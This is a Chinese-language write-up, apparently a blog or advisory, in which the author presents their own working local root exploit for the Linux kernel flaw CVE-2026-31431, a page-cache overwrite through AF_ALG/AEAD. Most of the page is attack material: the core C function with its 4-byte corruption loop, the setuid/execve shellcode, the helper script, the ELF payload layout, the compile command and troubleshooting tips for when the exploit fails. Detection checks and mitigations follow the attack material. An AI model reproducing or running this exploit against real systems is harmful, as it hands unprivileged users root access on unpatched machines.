2026-04-29 — 我在 MyDigitalLife 论坛 分享此漏洞利用代码一天后,将其公开发布。 它不需要 Python;使用 C 语言编写,并通过以下命令编译为尽可能小的体积:
musl-gcc -static -Os -o exploit exploit.c -s严重威胁。该漏洞利用二进制文件编译时无任何依赖,可用于测试任何 Linux 系统是否存在漏洞。
CVE-2026-31431 是 NIST 确认的 Linux 内核漏洞,允许非特权本地用户在数秒内获得
rootshell。鉴于 CVE-2026-31431 的漏洞利用代码已在公开渠道流传,我开发了一个二进制概念验证(PoC)来评估我们内部基础设施的暴露面。虽然某些环境限制了 su 的使用,但此漏洞对共享服务器尤为关键,因为它针对的是底层内核内存管理。因此,任何 SETUID 二进制文件——包括 sudo、passwd、mount 或 newgrp——都可以被利用来触发漏洞并获得 root shell。必须立即采取管理措施修补内核,因为标准的用户空间限制不足以缓解此威胁。任何运行未修补内核的 Linux 系统都面临风险。
我自己的可用漏洞利用 · Linux 内核 · AF_ALG 加密接口(AEAD)
替换内核页缓存中的 /usr/bin/su,而不触碰磁盘上的文件
仅需本地 shell 访问权限 — 无需额外特权
影响所有未修补的 Linux 发行版

CVE-2026-31431 是 Linux 内核加密子系统中散聚 I/O 操作和页缓存引用处理的一个缺陷——具体位于 AEAD 算法的 AF_ALG 套接字实现中(crypto/af_alg.c、crypto/aead.c)。
Linux 内核通过 AF_ALG 套接字向用户空间暴露加密接口。该漏洞在于:在 AEAD 解密操作期间,内核错误地将解密输出直接映射到源文件的页缓存页面——而非临时缓冲区。攻击者因此可以在不修改磁盘文件、无需 root 权限、且不在文件系统中留下任何可见痕迹的情况下,覆盖任何文件的内存内容。
该漏洞利用由两个组件组成:位于 /tmp/x 的辅助脚本和基于 AF_ALG 的破坏循环。以下基于源代码分析的精确逐步解析:
1. 辅助脚本设置
漏洞利用创建包含以下内容的 /tmp/x:
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
并将其权限设置为 0755。原因:/usr/bin/su 在启动时会剥离环境变量(包括 TERM)。辅助脚本在生成真正的 shell 之前恢复这些变量,以确保终端功能正常。
2. ELF 载荷构建
在内存中构建一个包含原始 shellcode 的最小 158 字节 x86_64 ELF 二进制文件。随后通过 memcmp/memcpy 将偏移量 150 处的字符串 /bin/sh 修补为 /tmp/x\0。详见 ELF 载荷。
3. 以只读方式打开 /usr/bin/su
int su_fd = open("/usr/bin/su", O_RDONLY);
该文件以只读方式打开——漏洞利用完全不需要任何写权限。
4. 破坏循环 — 39 次迭代,每次 4 字节
载荷(158 字节)按 4 字节块处理(39 个完整块)。每个块通过 corrupt_binary_chunk() 处理,该函数执行:
AF_ALG 套接字(SOCK_SEQPACKET)authencesn(hmac(sha256),cbc(aes)) — 一种复合 AEAD 算法op_sock)sendmsg,包含 8 字节缓冲区(4× 'A' + 4 个载荷字节)和三个 CMSG:ALG_OP_DECRYPT、IV(20 字节)、assoclen=8splice:su_fd → pipe → op_sock(通过内核零拷贝)recv() 完成操作——此时内核错误地覆盖页缓存5. 执行
execve("/usr/bin/su", args, NULL);
内核通过页缓存加载 /usr/bin/su——此时页缓存已被污染。SUID 位(chmod u+s)保持不变,因此内核以 root 身份执行该文件。Shellcode 执行 setuid(0) → execve("/tmp/x") → 交互式 root shell。
flowchart TD
A[非特权本地用户] --> B["创建 /tmp/x 辅助脚本\nchmod 0755"]
B --> C["构建 158 字节 ELF 载荷\n修补:/bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\n无需写权限"]
D --> E[循环:39 个 4 字节块]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: 72B 密钥 + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: 8B 数据 + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\n通过内核零拷贝"]
K --> L[recv → 完成 AEAD 操作]
L --> M["内核缺陷:解密输出\n覆盖 su_fd 的页缓存"]
M --> N{下一个块?}
N -->|是| E
N -->|否| O["execve /usr/bin/su"]
O --> P["内核从被污染的页缓存\n加载 /usr/bin/su"]
P --> Q["SUID 位保持不变\n内核以 root 身份执行"]
Q --> R["Shellcode: setuid 0 系统调用 105"]
R --> S["execve /tmp/x 系统调用 59"]
S --> T[交互式 root shell]
以下审查 exploit.c 的关键部分:
corrupt_binary_chunk() 函数漏洞利用的核心。每次调用协调一次完整的 AF_ALG 事务:
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// 创建 AF_ALG 套接字并绑定到 AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// 72 字节密钥 + 认证标签大小 = 4 字节
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// 缓冲区:4x 'A' 作为关联数据 + 4 个载荷字节
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 个 CMSG:DECRYPT 操作 / IV(20B,首字节 0x10)/ assoclen=8
// 使用 MSG_MORE 发送 sendmsg — 数据尚未完整
sendmsg(op_sock, &msg, MSG_MORE);
// 零拷贝 splice:su_fd → pipe → op_sock(offset+4 字节)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv 完成操作 — 内核在此处错误地写入 su_fd 的页缓存
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // 跳过最后 2 字节(158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 个完整块 × 4 字节 = 应用 156 字节
该载荷是一个自包含的 158 字节 x86_64 ELF 二进制文件,包含原始 shellcode——无动态链接器、无外部库。
; 偏移量 120 — 入口点 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; 系统调用 setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0"(偏移量 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; 系统调用 execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; 系统调用 exit(0)
syscall
; 偏移量 150
db "/tmp/x", 0, 0 ; (从 "/bin/sh\0" 修补而来)
uname -r
将输出与 NIST 发布的易受攻击版本列表进行比较:nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG available — system may be vulnerable')"
如果命令返回 [Errno 97] Address family not supported — 该模块已被禁用,风险显著降低。
/usr/bin/su 上的 SUIDls -la /usr/bin/su
如果存在 s 位(例如 -rwsr-xr-x)— /usr/bin/su 已设置 SUID,即为攻击向量。
# 如不需要,卸载 AF_ALG 模块
sudo modprobe -r af_alg 2>/dev/null || echo "Module is built into the kernel — cannot unload"
# 或者 — 临时移除 SUID
sudo chmod u-s /usr/bin/su
本节面向在隔离环境中分析该漏洞的安全研究人员。
socket() 或 bind() 失败症状: perror("socket") 或 perror("bind") 触发退出。
原因:
AF_ALG 或 authencesn 算法 — 检查:cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG 套接字 — 检查日志:dmesg | tail -20splice() 返回 EPERM / EINVAL症状: 内核拒绝 splice 操作。
原因:
su_fd 指向常规文件,而非符号链接或设备dmesg 中是否有阻止零拷贝进入加密套接字的审计日志条目execve 生成普通用户 shell症状: 无 root 提示符;id 显示原始 UID。
原因:
/usr/bin/su 缺少 SUID 位 — ls -la /usr/bin/su,必须可见 s 位execve 之前可能已被刷新 — 添加 sync 或减少循环延迟/tmp/x 未找到或 TERM 缺失症状: Shell 已生成但终端渲染异常。
原因:
/tmp 可写且未以 noexec 挂载/tmp/x 必须具有 0755 权限 — 验证:ls -la /tmp/xexecve("/tmp/x") 失败 — 可重新修补 shellcode 以直接使用 /bin/sh警告: 本文档仅出于信息、教育和防御目的发布。它描述了 NIST 确认并由安全社区报告的公开已知威胁。在非您所有或未经明确授权测试的系统上运行漏洞利用代码可能违反适用法律并导致刑事责任。仅在隔离的实验室环境中进行测试。
所有商标均为其各自所有者的财产。Linux 及相关标志是 Linux 基金会的商标。
最后更新:2026-04-29
| 属性 | 值 |
|---|
| 标识符 | CVE-2026-31431 |
| 参考 | NIST NVD |
| 类型 | 本地权限提升(LPE) |
| 组件 | Linux 内核 — AF_ALG / AEAD(authencesn) |
| 所需访问权限 | 非特权本地用户 |
| 影响 | 交互式 root shell |
| 漏洞利用状态 | 可用的 PoC 已在 GitHub 上公开发布 |
| 持久性 | 无 — 修改仅存在于内存中;重启后恢复原始状态 |
| 系统 | 状态 |
|---|
| Ubuntu 24.04(裸机 / 虚拟机) | ⚠️ 未修补内核存在漏洞 |
| Debian、Fedora、Arch(未修补内核) | ⚠️ 存在漏洞 |
启用 CONFIG_SECURITY_LOCKDOWN_LSM 的发行版 | ✅ 可能受保护 |
启用 nosuid 或 ProtectSUID(systemd)的系统 | ✅ 受保护 |
使用 AppArmor/SELinux 阻止 AF_ALG 的系统 | ✅ 受保护 |
| macOS、Windows(原生) | ✅ 不受影响 |
| 字段 | 详情 |
|---|
| 总大小 | 158 字节 |
| ELF 头 | 120 字节(e_type=2 EXEC,e_machine=62 x86_64) |
| 入口点 | 0x00400078 = 偏移量 120(紧接头部之后) |
| Shellcode | 30 字节(偏移量 120–149) |
| 目标字符串 | 偏移量 150 处的 8 字节(/bin/sh\0 → 修补为 /tmp/x\0) |
| 4 字节块 | 39 个完整块(156 字节);最后 2 字节跳过 |
| 缓解措施 | 应用方式 | 有效性 |
|---|
| 内核更新 | sudo apt update && sudo apt upgrade + 重启 | ✅ 完整(补丁可用时) |
| 黑名单 AF_ALG 模块 | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ 阻止攻击向量 |
移除 su 的 SUID | sudo chmod u-s /usr/bin/su | ✅ 阻止此漏洞利用(注意:su 将停止工作) |
以 noexec 挂载 /tmp | 编辑 /etc/fstab:tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ 部分有效 — 阻止 /tmp/x,漏洞利用可能使用其他路径 |
| AppArmor / SELinux | 阻止非特权用户使用 AF_ALG socket 的配置文件 | ✅ 配置正确时有效 |